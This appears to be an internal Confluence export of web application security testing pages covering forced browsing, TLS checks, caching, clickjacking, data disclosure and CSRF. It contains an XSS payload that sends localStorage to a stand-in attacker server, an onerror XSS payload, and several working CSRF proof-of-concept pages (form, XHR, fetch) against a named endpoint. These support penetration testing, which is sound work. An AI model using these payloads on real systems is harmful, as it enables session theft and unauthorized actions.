An attacker employs forceful browsing to access portions of a website that are otherwise unreachable through direct URL entry. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.  
Analyze the web server HTTP response codes to predict the existence of a resource. Search for some secure content of the website such as source code, backup files, temporary files directory, sample files, log files or backup files. Generally, these files are stored somewhere on the server and can be accessible easily if directory listing is on. This attack may disclose much valuable information about the application to an attacker.  
Most common directories names those are easy to guess:  
• Admin  
• Administrator  
• Images  
• Backup  
• Log  
• Scripts  
Use a proxy tool to record all links visited during a manual traversal of the web application.  
Need to verify each page of the website to check whether the vulnerability exists or not. If the page is public and accessible to all users, there is no problem. If the page is private, then it must be checked for this vulnerability. These points must be checked for a private page:  
• If proper authentication is required to access this private page?  
• If there are multiple user levels, then check whether it is accessible to an authenticated user who does not have privilege to access the page or not.  
• Check whether admin pages are accessible to only admin or all authenticated users.

Predictable Resource Location attack, which is based on a manual and oriented identification of resources by modifying URL parameters. The user1 wants to check their on-line agenda through the following URL:  
[www.site-example.com/users/calendar.php/user1/20070715](http://www.site-example.com/users/calendar.php/user1/20070715)  
In the URL, it is possible to identify the username (user1) and the date (mm/dd/yyyy). If the user attempts to make a forced browsing attack, they could guess another user’s agenda by predicting user identification and date, as follow:  
[www.site-example.com/users/calendar.php/user6/20070716](http://www.site-example.com/users/calendar.php/user6/20070716)  
The attack can be considered successful upon accessing other user’s agenda. A bad implementation of the authorization mechanism contributed to this attack’s success.  
Check whether we can directly request of protected pages that directly access database back-ends. (e.g., list.jsp, accounts.jsp, status.jsp, etc.)

* [Cryptography](https://confluence.es.ad.adp.com/display/APPSEC/Cryptography?src=contextnavpagetreemode)
  + [Obsolete Protocol](https://confluence.es.ad.adp.com/display/APPSEC/Obsolete+Protocol?src=contextnavpagetreemode)
  + [Plain text Transport protocol](https://confluence.es.ad.adp.com/display/APPSEC/Plain+text+Transport+protocol?src=contextnavpagetreemode)
  + [Weak Algorithm](https://confluence.es.ad.adp.com/display/APPSEC/Weak+Algorithm?src=contextnavpagetreemode)
  + [Weak SSL cipher](https://confluence.es.ad.adp.com/display/APPSEC/Weak+SSL+cipher?src=contextnavpagetreemode)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Obsolete+Protocol#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1433146782&selectedPageVersions=3&selectedPageVersions=4)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Obsolete+Protocol#page-metadata-start)

**Obsolete protocols support**

**What is it about?**

This test is to check the app’s support for TLS/SSL protocols and report instances of weaker protocols in use.

Using older versions of the protocols leaves your servers vulnerable to attacks, where attackers can negotiate a "downgrade" to use the older protocols (example of exploited vulnerabilities include BEAST, DROWN, POODLE, etc.)

**How to test?**

There are a number of online tools that can be used to quickly validate the configuration of a server, including:

* [SSL Labs Server Test](https://www.ssllabs.com/ssltest)
* [Observatory by Mozilla](https://observatory.mozilla.org/)

Additionally, there are a number of offline tools that can be used:

* [O-Saft - OWASP SSL advanced forensic tool](https://wiki.owasp.org/index.php/O-Saft)
* [testssl.sh - Testing any TLS/SSL encryption](https://testssl.sh/)
* [SSLScan - Fast SSL Scanner](https://github.com/rbsec/sslscan)
* [SSLyze](https://github.com/iSECPartners/sslyze)
* [SSL Scanner](https://portswigger.net/bappstore/474b3c575a1a4584aa44dfefc70f269d) plugin enables Burp to scan for SSL vulnerabilities. Most of the testing logic is from testssl.sh. Heartbleed test and CCS Injection test code are modified from a2sv.

It is also possible to carry out most checks manually, using command-line looks such as openssl s\_client or gnutls-cli to connect with specific protocols, ciphers or options

But due to evolution of vulnerabilities a good way to test is to check them manually with OpenSSL.

**Examples:**

**Example 1. Checking for Certificate Information, Weak Ciphers via Nmap**

Nmap has two scripts for checking Certificate information, Weak Ciphers.

$ nmap --script ssl-cert,ssl-enum-ciphers -p 443 [www.example.com](http://www.example.com/)

**If application blocks ‘ping’ command, then we can use below command:**

Command: nmap -sS -sV -p 443 -v -Pn --script ssl-enum-ciphers Target

**Note:**

**Encryption Standard:**

1.Please refer ‘Testing for Weak SSL/TLS Ciphers/Protocols/Keys Vulnerabilities’ under <https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection.html> for examples with other tools mentioned above.

2.please refer to the following URL for any more information related to cryptography:

<https://ciphersuite.info/cs/>

**------------------------------------------------**

**Reporting Details :**

**Finding Description:** The application supports TLSv1.0 and TLSv1.1 Protocols. These protocols were obsolete by June 2018. These protocols have published vulnerabilities like BEAST attacks.

**Finding Rating:** Impact and likelihood rated high as obsolete protocols may introduce new vulnerabilities and can easily targeted by attackers. These protocol also have publicly released vulnerabilities like BEAST attack.

**Affecting another vulnerability:** Week cipher. Weak Algorithm

# [**Plain text Transport protocol**](https://confluence.es.ad.adp.com/display/APPSEC/Plain+text+Transport+protocol)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Plain+text+Transport+protocol#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Apr 06, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1485670442)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Plain+text+Transport+protocol#page-metadata-start)

Note: This page needs to be updated

**Vulnerability description details:**

The application is accessible over HTTP. Using this an attacker can obtain sensitive information sent over un-encrypted channel.

Impact of the vulnerability is rated high as complete application is accessible over insecure channel. It affects the integrity of data and expose confidential information.  
Likelihood of the vulnerability is rated high as the intercepting the network traffic is an easy task. Attacker only requires access to the network to perform Man-In-The-Middle attack.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Weak+Algorithm#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Sep 16, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1759713157&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Weak+Algorithm#page-metadata-start)

**What is it about?**

This test is to check the app’s support for weak algorithms and report instances of weak algorithms in use.

Using weaker algorithms leaves your servers vulnerable to attacks

**How to test?**

Below tools can be used,

1. Nmap  
2. Openssl  
3. SSL Labs Server Test

**Examples:**

**Example 1. Checking for Certificate Information, Weak algorithms via Nmap**

Nmap has two scripts for checking Certificate information, Weak algorithms.

$ nmap --script ssl-cert,ssl-enum-ciphers -p 443 [www.example.com](http://www.example.com/)

If application blocks ‘ping’ command, then we can use below command:

Command: nmap -sS -sV -p 443 -v -Pn --script ssl-enum-ciphers Target

**How to know what Algorithms are weak?**

Please check for ADP encryption standard:

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Weak+SSL+cipher#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Sep 16, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1759712968&selectedPageVersions=3&selectedPageVersions=4)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Weak+SSL+cipher#page-metadata-start)

**What is it about?**

This test is to check the app’s support for cipher suites and report instances of weaker cipher suites in use.

Using weaker cipher suites leaves your servers vulnerable to attacks

**How to test?**

Below tools can be used,

1. Nmap  
2. Openssl  
3. SSL Labs Server Test

**Examples:**

**Example 1. Checking for Certificate Information, Weak Ciphers via Nmap**

Nmap has two scripts for checking Certificate information, Weak Ciphers.

$ nmap --script ssl-cert,ssl-enum-ciphers -p 443 [www.example.com](http://www.example.com/)

If application blocks ‘ping’ command, then we can use below command:

Command: nmap -sS -sV -p 443 -v -Pn --script ssl-enum-ciphers Target

* [**Information Leakage**](https://confluence.es.ad.adp.com/display/APPSEC/Information+Leakage?src=contextnavpagetreemode)
  + [Caching](https://confluence.es.ad.adp.com/display/APPSEC/Caching?src=contextnavpagetreemode)
  + [Clickjacking](https://confluence.es.ad.adp.com/display/APPSEC/Clickjacking?src=contextnavpagetreemode)
  + [Sensitive Data Revealed](https://confluence.es.ad.adp.com/display/APPSEC/Sensitive+Data+Revealed?src=contextnavpagetreemode)
  + [Server platform info leak](https://confluence.es.ad.adp.com/display/APPSEC/Server+platform+info+leak?src=contextnavpagetreemode)
  + [Source Code disclosure](https://confluence.es.ad.adp.com/display/APPSEC/Source+Code+disclosure?src=contextnavpagetreemode)
  + [SSN Disclosed](https://confluence.es.ad.adp.com/display/APPSEC/SSN+Disclosed?src=contextnavpagetreemode)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Caching#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o "), last modified by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Apr 06, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1295745512&selectedPageVersions=4&selectedPageVersions=5)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Caching#page-metadata-start)

Caching in general is to reduce network traffic and load time. Cache control is the header serving the purpose. With this it is possible for servers to specify who can cache, criteria to cache and until when to cache. Various cache control directives can be mentioned in the headers to get the expected behaviour. This header can be used in both requests and responses and can be unidirectional.

From a security perspective, pages containing sensitive information or revealing information that could aid attackers in launching attacks shouldn’t be cached and in order for this to happen developers are advised to set proper cache control directives.

Caching can be classified based on two features of browsers called 'Browser History' and 'Browser Cache'

**Browser History:**

Technically, the "Back" button is a history and not a cache. The cache and the history are two different entities. However, they share the same weakness of presenting previously displayed sensitive information.

**Steps**1.The first and simplest test consists of entering/accessing sensitive information into the application and logging out.

2. Then the tester clicks the "Back" button of the browser to check whether previously displayed sensitive information can be accessed whilst unauthenticated.

3. If by pressing the "Back" button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue.

4. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it.

The "Back" button can be stopped from showing sensitive data. This can be done by:

* Delivering the page over HTTPS.
* Setting Cache-Control: must-re-validate

**Browser Cache:**

Here testers check that the application does not leak any sensitive data into the browser cache.

Steps:

1. In order to do that, they can use a proxy (such as WebScarab/burp) and search through the server responses(i.e. cache control headers) that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data.

2. Such a directive can be issued in the HTTP response headers:

* Cache-Control: no-cache, no-store
* Expires: 0
* Pragma: no-cache

These directives are generally robust, although additional flags may be necessary for the Cache-Control header in order to better prevent persistently linked files on the filesystem. These include:

* Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0

3. If they find pages that contain critical information but that fail to instruct the browser not to cache their content, they know that sensitive information will be stored on the disk, and they can double-check this simply by looking for the page in the browser cache.

**Note:** The exact location where that information is stored depends on the client operating system and on the browser that has been used. Here are some examples:

* Mozilla Firefox:
  + Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/
  + Windows: C:\Documents and Settings\<user\_name>\Local Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache
* Internet Explorer:
  + C:\Documents and Settings\<user\_name>\Local Settings\Temporary Internet Files
* Chrome:
  + Windows: C:\Users\<user\_name>\AppData\Local\Google\Chrome\User Data\Default\Cache
  + Unix/Linux: ~/.cache/google-chrome

**Remediation:**

*HTTP headers*give you a lot of control over how both browser caches and proxies handle your representations.

**Cache-Control: no-cache, no-store, must-revalidate**

Impact, likelihood depend on the sensitivity of information cached and accessibility of the victim’s machine or browser.

**Tools**: Burp scanner can identify cacheable responses.

**Vulnerability description details:**

The application allows the browser to store confidential data. An attacker who have physical access to the system being used by other application users can grab the sensitive data stored in the browser.

→ Mentioned likelihood as low as the attacker needs to have physical access to machine to access the file being cached.

→ Mentioned impact to high as the file being cache may contain confidential data.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Clickjacking#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o "), last modified by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Apr 06, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1322255530&selectedPageVersions=9&selectedPageVersions=10)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Clickjacking#page-metadata-start)

Click jacking also known as UI redressing, is an attack that tricks the user into clicking an element on a webpage which Is invisible or disguised as another element. This can cause unwittingly download malware, visit malicious webpages, provides sensitive information.

Typically, clickjacking is performed by displaying an invisible page or HTML element, inside an iframe, on top of the page the user sees. The user believes they are clicking the visible page but in fact they are clicking an invisible element in the additional page transposed on top of it.

1. Check if the application can be framed inside a frameset, replace the url in below code

<!DOCTYPE html>

<html>

             <frameset cols="80%,20%" frameborder="10">

                    <frame src="url"></frame>

      </frameset>

</html>

2. If the application doesn’t implement X-Frame-Options or Content Security Policy headers, check if the application loads any frame busting /frame killer javascript code and try loading it in a double frame.  
  
       A simple frame buster code is as below,If(top.location != location){top.location = self.location}

1. Some of the popular frame killers/ frame busting javascript code snippets can be found in the link below.
   1. <https://crypto.stanford.edu/~dabo/pubs/papers/framebust.pdf> (page 3)

3. Check for framing the application using different browsers like Google Chrome, Microsoft Edge, Mozilla Firefox, Internet Explorer etc. Browsers have different behavior in the way framing works

4. Check if there could be a possible DOM XSS as a result of clickjacking

                          1. Use payload as 'https://www.<img src=x onerror='alert()'>'.

                          2. Please refer to the following POC for more information. <https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss>

5. Check for the possibility of combining clickjacking, Pastejacking, and Self-XSS called as 'XSSjacking'. Please refer to the following URL for more information(<https://www.bleepingcomputer.com/news/security/new-attack-xssjacking-combines-clickjacking-pastejacking-and-self-xss/>)

**Tools to use:**

Use Clickbandit in burp suite and find out potential clickjacking locations inside the page and try loading frames accordingly  
  
A simple tutorial of clickbandit can be found here <https://youtu.be/7gL64PvegTY>

**Remediation**: Implement both X-frame headers and CSP headers

**Vulnerability description details:**

The application allows page to be loaded in frames due to lack of ‘X-Frame-Options’ header. This would potentially lead to cross frame spoofing or clickjacking attacks. Using this, an attacker would be able to steal the credentials of a user / perform actions on behalf of user without his knowledge.

The Likelihood of this vulnerability is rated 'Low' because:  
- Social engineering is required to perform this attack.  
- Attacker must have knowledge regarding behaviour and functionalities of the application.  
The Impact of this vulnerability is rated 'High' because:  
- An attacker can steal sensitive data or perform malicious activities by stealing the clicks of victim.  
- Attacker can make user to click on sensitive buttons like Delete or Modify etc. without their knowledge.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Sensitive+Data+Revealed#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o "), last modified by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Mar 16, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1295745514&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Sensitive+Data+Revealed#page-metadata-start)

**Sensitive Data revealed:**

Use below use cases or scenarios to verify that the application is revealing any sensitive data.

* Check that the application is sending any sensitive information in cookie (Decode the cookie and verify that any sensitive information is present like uname/password/any other sensitive information)
* Check that the application is sending any sensitive information (Like uname, password) when we access the login page (Pre-Authentication page) of the application in Response.
* Check any sensitive information is sent as part of the URL (Like session identifiers, usernames, passwords, email ID etc).
* Check any Unnecessarily exposing highly sensitive information, such as credit card details, SSN's, Salary information, bank account number, etc.
* Check any database table or column names are mentioned in error messages.
* Check any Hard-coding API keys, IP addresses, database credentials, and so on in the source code
* Hinting at the existence or absence of resources, usernames, and so on via subtle differences in application behavior
* Check any internal File path is disclosed in response.
* Check any configuration files are visible in directory.
* Check any Developer comments can reveal any sensitive information.
* Check any backup files are present in the application.
* Check after authentication the login password is reflected in response.
* Check any stack trace errors are reflecting as part of error messages.

--> Check any combination of both AOID and OOID values being used either as part of request URL or headers.

--> Local storage should never be used for sensitive information such as passwords or personal information. Doing so creates a security risk as any Javascript code on your page can access local storage as it has no data protection whatsoever. If an attacker can run Javascript (XSS) on your website, they can retrieve all the data you've stored in local storage and send it off to their own domain. This means anything sensitive you've got in local storage (like a user's session data, session identifiers, personal information, etc.) can be compromised.

**How to check for local storage:**       F12 (Developer Tools) > Application Tab > Local & Session Storages

**XSS payload to get localstorage value:** <img src='https://<attacker-server>/yikes?jwt='+JSON.stringify(localStorage);'--!>

# [**Server platform info leak**](https://confluence.es.ad.adp.com/display/APPSEC/Server+platform+info+leak)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Server+platform+info+leak#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Apr 06, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1485670435)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Server+platform+info+leak#page-metadata-start)

Note: This page need be updated

**Vulnerability description details:**

The application leaks server platform information in response for most of the requests. An attacker can use this information to narrow down the attack surface and to perform the targeted attacks.

Impact: Low  
- The application leaks sever information which might help the attacker to perform targeted attacks.  
- Attacker can gain access to sensitive data present in the server.

Likelihood: Medium  
- To perform malicious activity, the attacker must gain or have access to the environment.  
- This information is available without authentication.

# [**Source Code disclosure**](https://confluence.es.ad.adp.com/display/APPSEC/Source+Code+disclosure)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Source+Code+disclosure#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1467417876)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Source+Code+disclosure#page-metadata-start)

**Note: This document needs to be reviewed by team**

Source code available on the server can sometime be disclosed to the user which may result in information leakage or sensitive data disclosure

Information collected using source code disclosure vulneribility can narrow down attack. While testing remember 4 points  
1) Each application is unique  
2) Each developer is unique  
3) Each application is uniquely insecure  
4) Each developer code is uniquely insecure

• Unhandled exception can result in source code disclosure try to provide different data type in the input fields and look if stack trace is getting displayed  
• Look if html code contains some business logic code or comments that can narrow down attack or leak sensitive information  
• Intercept the request using Burp and try to provide out of range inputs or unsupported data for parameters and observe the response for stack trace or error  
• Verify if application suffer from directory listing or path traversal vulnerability which can result in disclosure of code or sensitive data such as database dump, encryption keys ,configuration files etc.  
• Try to modify application url to check if application server page is enabled and use default credentials to get access to deployment folder in the server page

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/SSN+Disclosed#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Dec 22, 2020](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1384678948&selectedPageVersions=2&selectedPageVersions=3)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/SSN+Disclosed#page-metadata-start)

**Social Security Number (SSN)**

In the United States, a Social Security number is a nine-digit number issued to U.S. citizens, permanent residents, and temporary residents under section 205 of the Social Security Act. The government uses this number to keep track of your lifetime earnings and the number of years worked. SSN are considered as sensitive information of a user which should not be leaked or disclosed

**Why SSN are considered sensitive?**

When the time comes to retire, or if you ever need to receive Social Security disability income, the government uses the information about your contributions to Social Security to determine your eligibility and calculate your benefit payments. Most people will use the same Social Security number their entire lives, though some people might need to apply for a replacement number at some point because of identity theft also there are multiple places where SSN are required below are some

1) Anytime you get hired for a new job, your employer will ask for your Social Security number.

2) When Opening an Account with Any U.S. Financial Institution

3) When Applying for a Federal Loan

4) When Applying for a Passport

5) On Tax Return

Please refer to the following document for more information

<https://adp.policytech.com/dotNet/documents/?docid=1323>)

**Security Checkpoints:**

* Applications disclose the SSN number in the response, or the web page completely is considered security threat
* Verify if the application masks the SSN which can be modified and unmasked using some changes in the client code
* Check if the application discloses SSN number to any third part application
* Verify the object in response or API to check if the object contains SSN value also
* Validate for any files or report generated by application that contains unmasked SSN number
* Check if application unmasks SSN without authentication
* Check for the permissions of super users in application to view SSN of different user
* Check for any parameters in the response like ‘idValue’ or ‘Govt-ID’, which mostly holds SSN values
* Download Content
* SSN equivalent numbers in other countries as well like 'TFN' for Australia and 'SIN' for Canada
* Search Functionality
* While rating impact for SSN disclosure finding, it's always recommended to consider 'Assurance levels' with Worst case

**Remediation:** In order to reveal Full SSN value, a round trip Http request is recommended and Log should be maintained at server side.

* [**Input Validation**](https://confluence.es.ad.adp.com/display/APPSEC/Input+Validation?src=contextnavpagetreemode)
  + [CSRF](https://confluence.es.ad.adp.com/display/APPSEC/CSRF?src=contextnavpagetreemode)
  + [CSV Injection](https://confluence.es.ad.adp.com/display/APPSEC/CSV+Injection?src=contextnavpagetreemode)
  + [Directory Listing](https://confluence.es.ad.adp.com/display/APPSEC/Directory+Listing?src=contextnavpagetreemode)
  + [File Upload:](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1747063807&src=contextnavpagetreemode)
  + [Host Header Attack](https://confluence.es.ad.adp.com/display/APPSEC/Host+Header+Attack?src=contextnavpagetreemode)
  + [HTTP Response Splitting](https://confluence.es.ad.adp.com/display/APPSEC/HTTP+Response+Splitting?src=contextnavpagetreemode)
  + [Insecure desearlization](https://confluence.es.ad.adp.com/display/APPSEC/Insecure+desearlization?src=contextnavpagetreemode)
  + [LDAP Injection](https://confluence.es.ad.adp.com/display/APPSEC/LDAP+Injection?src=contextnavpagetreemode)
  + [Link Injection](https://confluence.es.ad.adp.com/display/APPSEC/Link+Injection?src=contextnavpagetreemode)
  + [OAuth Testing](https://confluence.es.ad.adp.com/display/APPSEC/OAuth+Testing?src=contextnavpagetreemode)
  + [OS/Command Injection](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1759712991&src=contextnavpagetreemode)
  + [Path Traversal Vulnerability](https://confluence.es.ad.adp.com/display/APPSEC/Path+Traversal+Vulnerability?src=contextnavpagetreemode)
    - [Local File Inclusion (LFI)](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1865518664&src=contextnavpagetreemode)
    - [RFI(Remote file inclusion)](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1865518607&src=contextnavpagetreemode)
  + [SQL Injection](https://confluence.es.ad.adp.com/display/APPSEC/SQL+Injection?src=contextnavpagetreemode)
  + [URL re-direction](https://confluence.es.ad.adp.com/display/APPSEC/URL+re-direction?src=contextnavpagetreemode)
  + [WebDav Methods](https://confluence.es.ad.adp.com/display/APPSEC/WebDav+Methods?src=contextnavpagetreemode)
  + [XML Injection:](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1467417836&src=contextnavpagetreemode)
    - [This page has to be deleted](https://confluence.es.ad.adp.com/display/APPSEC/This+page+has+to+be+deleted?src=contextnavpagetreemode)
  + [XSS](https://confluence.es.ad.adp.com/display/APPSEC/XSS?src=contextnavpagetreemode)
    - [Page has to be deleted](https://confluence.es.ad.adp.com/display/APPSEC/Page+has+to+be+deleted?src=contextnavpagetreemode)
  + [XXE](https://confluence.es.ad.adp.com/display/APPSEC/XXE?src=contextnavpagetreemode)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/CSRF#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Sep 02, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1747063775&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/CSRF#page-metadata-start)

**Introduction:**

CSRF is an attack that forces an end user to execute unwanted actions on a web application in which  
he/she is currently authenticated. With a little help of social engineering (like sending a link via email or  
chat), an attacker may force the users of a web application to execute actions of the attacker's choosing.  
A successful CSRF exploit can compromise end user data and operation.

**Consequences:**

CSRF attacks target functionality that causes a state change on the server, such as changing the victim's  
email address or password, or purchasing something.

**Where to test:**

Upon Form Submission, Any State change functionalities.

**CSRF Check list:**

**1. Primarily we need to focus whether application is using a unique random token (Anti CSRF**  
**Token) or not.** If yes,

a. Check whether Token is being validated at server side or not?

b. Check randomness of a token. How a new token is being generated, Are there any  
similarities between current token and earlier generated token.

c. Check Length of the token. If the length is less it’s easy to brute force the token.

d. Check whether token is being re-used or not.

**2. If application doesn’t have random token,**

a. Check whether Referrer header is being validated or not.  
i. If Referrer header is being validated add subdomain to the host and check  
whether application is allowing or not?

Eg: If application is validating ‘[example.com](http://example.com/)’, check for ‘[example.test.com](http://example.test.com/)’

**b. If application uses view state parameter, check how random the value of View state is?**

**3. CSRF with JSON:**

Problem statement:

What if request has JSON data as part of request body and Content-type as ‘application/json’ ??

What are the chances of exploitation if ‘content-type’ is application/json??

Solution:

**When Content-type should be strictly application/json:**

1. In order to have ‘application/json’ as Content-Type header, generally it is required to use XHR request. Sending XHR request to cross domain requests, will not be considered as simple request. Since it’s not a typical simple request, XHR request will have preflight request and checks for cross domain. As per CORS guidelines, If C.O.R.S is set to ‘\*’, then CSRF vulnerability can be exploitable.
2. It can be possible if XSS exists to generate a request from the same domain.

**Ways to bypass without content type as application/json as part of request:**

**This scenario would happen when server is not validating content type:**

* **Without XHR request (form load)**

**BURP POC would be:**

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="<https://adp.resourcescheduler.com/mapview/api/MapViewApi/DisableResource>" method="POST" enctype="text/plain">

      <input type="hidden" name='&#123;&quot;ResourceId&quot;&#58;1947&#125;' />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

**Request:**

POST /mapview/api/MapViewApi/DisableResource HTTP/1.1

Host: [adp.resourcescheduler.com](http://adp.resourcescheduler.com/)

Origin: [http://localhost:8881](http://localhost:8881/)

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36

Content-Type: text/plain

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8

Referer: <http://localhost:8881/>

Cookie: ASP.NET\_SessionId=wqh3m3ujx44mvl5rakeuugjl

{"ResourceId":1947}=

* **Without XHR request (form load)(bypassing the padding of ‘=’)**

**POC bypassing =:**

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="<https://adp.resourcescheduler.com/mapview/api/MapViewApi/DisableResource>" method="POST" enctype="text/plain">

      <input type="hidden" name='{"ResourceId":1947, "ignore\_me":"' value='test"}' type='hidden'/>

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

**Request will be like this:**

POST /mapview/api/MapViewApi/DisableResource HTTP/1.1

Host: [adp.resourcescheduler.com](http://adp.resourcescheduler.com/)

Connection: close

Content-Length: 42

Cache-Control: max-age=0

Origin: [http://localhost:8881](http://localhost:8881/)

Content-Type: text/plain

Referer: <http://localhost:8881/>

Cookie: ASP.NET\_SessionId=wqh3m3ujx44mvl5rakeuugjl

{"ResourceId":1947, "ignore\_me":"=test"}

**2.3 Using XHR by appending sessions:**

**Poc would be like this:**

<html>

 <!-- CSRF PoC - generated by Burp Suite Professional -->

 <body>

 <script>history.pushState('', '', '/')</script>

 <script>

 function submitRequest()

 {

 var xhr = new XMLHttpRequest();

 xhr.open("POST", "https:\/\/[adp.resourcescheduler.com](http://adp.resourcescheduler.com/)\/mapview\/api\/MapViewApi\/DisableResource", true);

 xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");

 xhr.setRequestHeader("Accept", "\*\/\*");

 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");

 xhr.withCredentials = true;

 var body = "{\"ResourceId\":\"1947\"}";

 var aBody = new Uint8Array(body.length);

 for (var i = 0; i < aBody.length; i++)

 aBody[i] = body.charCodeAt(i);

 xhr.send(new Blob([aBody]));

 }

 </script>

 <form action="#">

 <input type="button" value="Submit request" onclick="submitRequest();" />

 </form>

 </body>

</html>

**Different Values for Content type:**

application/x-www-form-urlencoded

multipart/form-data

text/plain

**2.4 With help of Fetch method:**

<html>

<title>JSON CSRF POC</title>

<body>

<center>

<h1> JSON CSRF POC </h1>

<script>

fetch('<https://adp.resourcescheduler.com/mapview/api/MapViewApi/DisableResource>', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: '{"ResourceId":1947}'});

</script>

<form action="#">

<input type="button" value="Submit" />

</form>

</center>

</body>

</html>

**Request will be like this:**

POST /mapview/api/MapViewApi/DisableResource HTTP/1.1

Host: [adp.resourcescheduler.com](http://adp.resourcescheduler.com/)

Connection: close

Content-Length: 19

Origin: [http://localhost:8881](http://localhost:8881/)

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36

Content-type: application/x-www-form-urlencoded

Accept: \*/\*

Referer: <http://localhost:8881/DVWA/CSRF_Fetch.html>

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8

